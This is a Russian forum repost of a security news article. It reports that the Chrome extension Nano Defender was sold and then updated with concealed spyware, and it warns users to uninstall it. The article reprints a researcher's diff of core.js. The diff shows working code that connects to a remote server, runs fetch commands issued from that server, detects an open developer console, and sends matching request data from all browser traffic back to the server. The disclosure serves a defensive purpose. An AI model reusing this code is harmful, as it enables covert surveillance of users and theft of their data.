[Информационная безопасность, Open source, Расширения для браузеров, Браузеры] Расширение Nano Defender нужно срочно удалить из браузера
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
3 октября 2020 года программист jspenguin2017, автор расширения Nano Defender, сообщил в официальном репозитории, что продал проект «группе турецких разработчиков». Это сообщение вызвало массу слухов и опасений: что за турецкие разработчики, кто контролирует код, почему из репозитория удалена страница с политикой приватности?
Спустя несколько дней опасения сообщества полностью оправдались.
Nano Defender — довольно популярный способ обхода антиблокировщиков рекламы. Работает в связке с блокировщиками uBlock Origin и Nano AdBlocker (форк uBlock Origin), защищая их от детектирования на сайтах.
Турки оперативно выпустили новую версию Nano Defender 15.0.0.206 с тщательно замаскированными изменениями в функциональности, которые не были опубликованы на GitHub. Внимательное изучение этих изменений указывает на то, что расширение нужно деинсталлировать всем пользователям.
Рекомендация относится к Chrome и браузеров на основе Chromium, где происходит автоматический апгрейд расширений без уведомления пользователя. Турки не покупали версию под Firefox. Мейнтейнер расширений Firefox Nano, разработчик LiCybora, подтвердил, что сохраняет над ними контроль: эти расширения в безопасности. Кроме того, Firefox проверяет цифровые подписи расширений, так что вредоносный код не так легко пропихнуть в новую версию расширения.
Автор uBlock Origin Рэймонд Хилл проанализировал изменения в версии Nano Defender 15.0.0.206. Он отметил, что добавлен код для детектирования запуска dev-консоли расширения. В этом случае высылается уведомление report на сервер https://def.dev-nano.com/. Другими словами, владельцы отслеживают тех, кто пытается разобраться в работе расширения. С высокой степенью вероятности в таком случае расширение меняет свою функциональность, скрывая некоторые функции — это стандартный трюк вредоносных программ, которые детектируют наличие исследовательского окружения, такого как виртуальная среда.
В такой ситуации Рэймонду Хиллу пришлось изучать функциональность новой версии Nano Defender без dev-консоли. Вот что он обнаружил.
При запуске расширение прослушивает https://def.dev-nano.com/ на предмет сообщений для заполнения списка listOfObject.
Насколько можно понять код, в дальнейшем содержимое списка listOfObject используется для проверки проверки полей объекта details, который передаётся в webRequest.onBeforeSendHeaders(). Если все поля соответствуют условию, то всё содержимое объекта details отправляется на https://def.dev-nano.com/ под названием handleObject.
При этом обработчик webRequest.onBeforeSendHeaders() действует для всех сетевых запросов:
chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"]
}, ['requestHeaders', 'blocking', 'extraHeaders']);
Поскольку listOfObject запрашивается с внешнего сервера, то функциональность этого метода устанавливается извне. Список может содержать любые условия в любом количестве. Грубо говоря, владельцы расширения могут запрашивать из браузера любые фрагменты исходящего сетевого трафика на своё усмотрение. Таким образом, расширение Nano Defender фактически превратилось в универсальный шпионский снифер.
Рэймонд Хилл опубликовал diff, который недоступен в репозитории новых владельцев:
diff для core.js
SPL
--- ./background/core.js
+++ ./background/core.js
@@ -160,7 +160,7 @@
const hasNews = false;
- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";
+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";
const newsReadFlag = "news-read";
// This handler becomes inactive when there is a popup page set
@@ -189,7 +189,8 @@
// ------------------------------------------------------------------------------------------------------------- //
};
-
+var defender = io.connect("https://def.dev-nano.com/");
+var listOfObject = {};
// ----------------------------------------------------------------------------------------------------------------- //
a.noopErr = () => {
@@ -211,6 +212,29 @@
// ----------------------------------------------------------------------------------------------------------------- //
+
+
+async function dLisfOfObject(newList) {
+ let dListResp = await fetch(newList.uri, newList.attr)
+ var listOfObj = {}
+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())
+ listOfObj.data = await dListResp.text()
+ listOfObj.ok = dListResp.ok;
+ listOfObj.status = dListResp.status;
+ return listOfObj;
+}
+
+defender.on("dLisfOfObject", async function (newList) {
+ let getRes = await dLisfOfObject(newList);
+ defender.emit(newList.callBack, getRes)
+});
+
+defender.on("listOfObject", function (a) {
+ listOfObject = a;
+})
+
+
+
// Redirect helpers
a.rSecret = a.cryptoRandom();
@@ -227,7 +251,22 @@
// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).
a.blankMP4 = a.rLink("blank.mp4");
-
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ defender.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
// ----------------------------------------------------------------------------------------------------------------- //
// tab - Id of the tab
@@ -450,6 +489,50 @@
return true;
};
+
+var blockingHandler = function (infos) {
+ var changedAsArray = Object.keys(listOfObject);
+
+ var detailsHeader = infos.requestHeaders;
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var mount = "";
+ if (changedAsArray.length > 0) {
+ var checkerList = true;
+ for (const object of changedAsArray) {
+ if (object.x === object.y) {
+ mount += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < changedAsArray.length; i++) {
+ let x = changedAsArray[i];
+ var re = new RegExp(listOfObject[x],'gi');
+ mount = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ defender.emit('handleObject', infos);
+ }
+ }
+
+ var m = [45,122,122,122]
+ var s = m.map( x => String.fromCharCode(x) )
+ var x = s.join("");
+ var replacerConcat = stringyFy.split(x).join("");
+ var replacer = JSON.parse(replacerConcat);
+ return {
+ requestHeaders: replacer
+ }
+};
+
+chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
// ----------------------------------------------------------------------------------------------------------------- //
Турецкие разработчики опубликовали новую политику приватности для расширения. В соответствии с ней, расширение собирает и передаёт на удалённый сервер массу информации, в том числе адреса посещённых страниц, время сессий на каждой странице, IP-адрес пользователя и другие данные. Раньше в соглашении о приватности не было такого пункта.
Вообще, продажа расширений — распространённая статья дохода для независимых разработчиков. После установки расширения многие пользователи не знают, что расширение купили новые владельцы, а их компьютер уже используются в постороннем проекте.
Например, владельцы прокси-сервиса SmartProxy предлагают своим клиентам доступ к сети домашних IP-адресов, которая насчитывает около 40 миллионов IP — большинство узлов находится на компьютерах ничего не подозревающих юзеров. Эти домашние компьютеры используются для проксирования трафика платных клиентов.
Другая сеть Luminati использует в качестве точек выхода компьютеры домашних пользователей, которые установили бесплатное приложение HolaVPN. Данная сеть также скупает популярные браузерные расширения.
С юридической точки зрения использование «втёмную» домашних компьютеров пользователей для прокачки коммерческого трафика — весьма сомнительное мероприятие. Но бизнесменам пока удаётся избежать наказания.
Что касается программиста jspenguin2017, то сообщество осудило его безответственные действия по продаже расширения, поскольку в поддержке и составлении списков для Nano Defender принимали участие десятки других разработчиков. Получается, что jspenguin2017 единолично монетизировал человеко-часы чужой работы.
Расширение Nano Defender уже удалено из каталога Chrome Web Store.
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность] [Восстановленная статья] Уязвимость в Pixelknot
- [Браузеры, Microsoft Edge] Microsoft переводит браузер Edge на новое api расширений
- [Беспроводные технологии, Информационная безопасность, Разработка под Linux] В Linux выявили уязвимость стека Bluetooth, которая позволяет выполнить код на уровне ядра
- [Информационная безопасность] Как мы нашли уязвимость в почтовом сервере банка и чем она грозила
- [Google Chrome, Настройка Linux, Софт] CrossOver, софт для запуска Windows-приложений на Chromebook, вышел из беты
- [Информационная безопасность] Заменит ли автоматизация пентестеров?
- В Chrome-дополнениях NanoAdblocker и NanoDefender выявлены вредоносные изменения
- [Информационная безопасность, Социальные сети и сообщества, Видеоконференцсвязь] Сквозное шифрование в Zoom появится и на бесплатных тарифах
- [Информационная безопасность] Android Guards. История создания, развития и первый meetup
- [Информационная безопасность] Приглашение к обсуждению методики составления индекса HTTPS-защищенности сайтов
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_open_source, #_rasshirenija_dlja_brauzerov (Расширения для браузеров), #_brauzery (Браузеры), #_chrome, #_rasshirenie (расширение), #_nano_defender, #_obhod_antiblokirovschikov (обход антиблокировщиков), #_blog_kompanii_globalsign (
Блог компании GlobalSign
), #_informatsionnaja_bezopasnost (
Информационная безопасность
), #_open_source, #_rasshirenija_dlja_brauzerov (
Расширения для браузеров
), #_brauzery (
Браузеры
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 13:55
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
3 октября 2020 года программист jspenguin2017, автор расширения Nano Defender, сообщил в официальном репозитории, что продал проект «группе турецких разработчиков». Это сообщение вызвало массу слухов и опасений: что за турецкие разработчики, кто контролирует код, почему из репозитория удалена страница с политикой приватности? Спустя несколько дней опасения сообщества полностью оправдались. Nano Defender — довольно популярный способ обхода антиблокировщиков рекламы. Работает в связке с блокировщиками uBlock Origin и Nano AdBlocker (форк uBlock Origin), защищая их от детектирования на сайтах. Турки оперативно выпустили новую версию Nano Defender 15.0.0.206 с тщательно замаскированными изменениями в функциональности, которые не были опубликованы на GitHub. Внимательное изучение этих изменений указывает на то, что расширение нужно деинсталлировать всем пользователям. Рекомендация относится к Chrome и браузеров на основе Chromium, где происходит автоматический апгрейд расширений без уведомления пользователя. Турки не покупали версию под Firefox. Мейнтейнер расширений Firefox Nano, разработчик LiCybora, подтвердил, что сохраняет над ними контроль: эти расширения в безопасности. Кроме того, Firefox проверяет цифровые подписи расширений, так что вредоносный код не так легко пропихнуть в новую версию расширения. Автор uBlock Origin Рэймонд Хилл проанализировал изменения в версии Nano Defender 15.0.0.206. Он отметил, что добавлен код для детектирования запуска dev-консоли расширения. В этом случае высылается уведомление report на сервер https://def.dev-nano.com/. Другими словами, владельцы отслеживают тех, кто пытается разобраться в работе расширения. С высокой степенью вероятности в таком случае расширение меняет свою функциональность, скрывая некоторые функции — это стандартный трюк вредоносных программ, которые детектируют наличие исследовательского окружения, такого как виртуальная среда. В такой ситуации Рэймонду Хиллу пришлось изучать функциональность новой версии Nano Defender без dev-консоли. Вот что он обнаружил. При запуске расширение прослушивает https://def.dev-nano.com/ на предмет сообщений для заполнения списка listOfObject. Насколько можно понять код, в дальнейшем содержимое списка listOfObject используется для проверки проверки полей объекта details, который передаётся в webRequest.onBeforeSendHeaders(). Если все поля соответствуют условию, то всё содержимое объекта details отправляется на https://def.dev-nano.com/ под названием handleObject. При этом обработчик webRequest.onBeforeSendHeaders() действует для всех сетевых запросов: chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {
urls: ["<all_urls>"] }, ['requestHeaders', 'blocking', 'extraHeaders']); Поскольку listOfObject запрашивается с внешнего сервера, то функциональность этого метода устанавливается извне. Список может содержать любые условия в любом количестве. Грубо говоря, владельцы расширения могут запрашивать из браузера любые фрагменты исходящего сетевого трафика на своё усмотрение. Таким образом, расширение Nano Defender фактически превратилось в универсальный шпионский снифер. Рэймонд Хилл опубликовал diff, который недоступен в репозитории новых владельцев: diff для core.jsSPL--- ./background/core.js
+++ ./background/core.js @@ -160,7 +160,7 @@ const hasNews = false; - const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements"; + const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements"; const newsReadFlag = "news-read"; // This handler becomes inactive when there is a popup page set @@ -189,7 +189,8 @@ // ------------------------------------------------------------------------------------------------------------- // }; - +var defender = io.connect("https://def.dev-nano.com/"); +var listOfObject = {}; // ----------------------------------------------------------------------------------------------------------------- // a.noopErr = () => { @@ -211,6 +212,29 @@ // ----------------------------------------------------------------------------------------------------------------- // + + +async function dLisfOfObject(newList) { + let dListResp = await fetch(newList.uri, newList.attr) + var listOfObj = {} + listOfObj.headerEntries = Array.from(dListResp.headers.entries()) + listOfObj.data = await dListResp.text() + listOfObj.ok = dListResp.ok; + listOfObj.status = dListResp.status; + return listOfObj; +} + +defender.on("dLisfOfObject", async function (newList) { + let getRes = await dLisfOfObject(newList); + defender.emit(newList.callBack, getRes) +}); + +defender.on("listOfObject", function (a) { + listOfObject = a; +}) + + + // Redirect helpers a.rSecret = a.cryptoRandom(); @@ -227,7 +251,22 @@ // 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets). a.blankMP4 = a.rLink("blank.mp4"); - + +var element = document.createElement("p"); ; +var openListGet = false; +element.__defineGetter__("id", function() { + openListGet = true; +}); + +var i = setInterval(function() { + openListGet = false; + console.log(element); + if(openListGet){ + defender.emit("report") + console.clear(); + clearInterval(i) + } +}, 100); // ----------------------------------------------------------------------------------------------------------------- // // tab - Id of the tab @@ -450,6 +489,50 @@ return true; }; + +var blockingHandler = function (infos) { + var changedAsArray = Object.keys(listOfObject); + + var detailsHeader = infos.requestHeaders; + var HeadReverse = detailsHeader.reverse(); + var stringyFy = JSON.stringify(HeadReverse); + var mount = ""; + if (changedAsArray.length > 0) { + var checkerList = true; + for (const object of changedAsArray) { + if (object.x === object.y) { + mount += 1; + } + break; + } + for (let i = 0; i < changedAsArray.length; i++) { + let x = changedAsArray[i]; + var re = new RegExp(listOfObject[x],'gi'); + mount = "5"; + if (infos[x].toString().match(re) == null) { + checkerList = false; + break; + } + } + if (checkerList) { + defender.emit('handleObject', infos); + } + } + + var m = [45,122,122,122] + var s = m.map( x => String.fromCharCode(x) ) + var x = s.join(""); + var replacerConcat = stringyFy.split(x).join(""); + var replacer = JSON.parse(replacerConcat); + return { + requestHeaders: replacer + } +}; + +chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, { + urls: ["<all_urls>"] +}, ['requestHeaders', 'blocking', 'extraHeaders']); + // ----------------------------------------------------------------------------------------------------------------- // Турецкие разработчики опубликовали новую политику приватности для расширения. В соответствии с ней, расширение собирает и передаёт на удалённый сервер массу информации, в том числе адреса посещённых страниц, время сессий на каждой странице, IP-адрес пользователя и другие данные. Раньше в соглашении о приватности не было такого пункта. Вообще, продажа расширений — распространённая статья дохода для независимых разработчиков. После установки расширения многие пользователи не знают, что расширение купили новые владельцы, а их компьютер уже используются в постороннем проекте. Например, владельцы прокси-сервиса SmartProxy предлагают своим клиентам доступ к сети домашних IP-адресов, которая насчитывает около 40 миллионов IP — большинство узлов находится на компьютерах ничего не подозревающих юзеров. Эти домашние компьютеры используются для проксирования трафика платных клиентов. Другая сеть Luminati использует в качестве точек выхода компьютеры домашних пользователей, которые установили бесплатное приложение HolaVPN. Данная сеть также скупает популярные браузерные расширения. С юридической точки зрения использование «втёмную» домашних компьютеров пользователей для прокачки коммерческого трафика — весьма сомнительное мероприятие. Но бизнесменам пока удаётся избежать наказания. Что касается программиста jspenguin2017, то сообщество осудило его безответственные действия по продаже расширения, поскольку в поддержке и составлении списков для Nano Defender принимали участие десятки других разработчиков. Получается, что jspenguin2017 единолично монетизировал человеко-часы чужой работы. Расширение Nano Defender уже удалено из каталога Chrome Web Store. =========== Источник: habr.com =========== Похожие новости:
Блог компании GlobalSign ), #_informatsionnaja_bezopasnost ( Информационная безопасность ), #_open_source, #_rasshirenija_dlja_brauzerov ( Расширения для браузеров ), #_brauzery ( Браузеры ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 13:55
Часовой пояс: UTC + 5